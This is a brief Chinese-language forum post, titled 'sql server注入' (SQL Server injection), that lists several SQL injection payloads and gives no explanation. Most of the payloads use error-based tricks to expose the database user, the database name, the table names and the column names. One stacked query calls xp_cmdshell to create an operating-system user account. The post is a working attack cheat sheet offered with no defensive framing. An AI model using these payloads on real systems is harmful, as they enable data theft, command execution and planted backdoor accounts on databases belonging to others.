论坛 › SQL Server › sql server注入

yanglgzh 发表于 2016-10-29 10:37:06

sql server注入

　　select *from aScapeInfo  where scape_id =20 and user>0
select *from aScapeInfo  where scape_id =20 and db_name()>0
select *from aScapeInfo  where scape_id =20 and (Select Top 1 name from sysobjects where xtype='U' and status>0)>0
select *from aScapeInfo  where scape_id =20;exec master..xp_cmdshell "net user name password /add"--
select *from aScapeInfo  where scape_id =20 and (Select Top 1 col_name(object_id('Users'),1) from sysobjects)>0

查看完整版本: sql server注入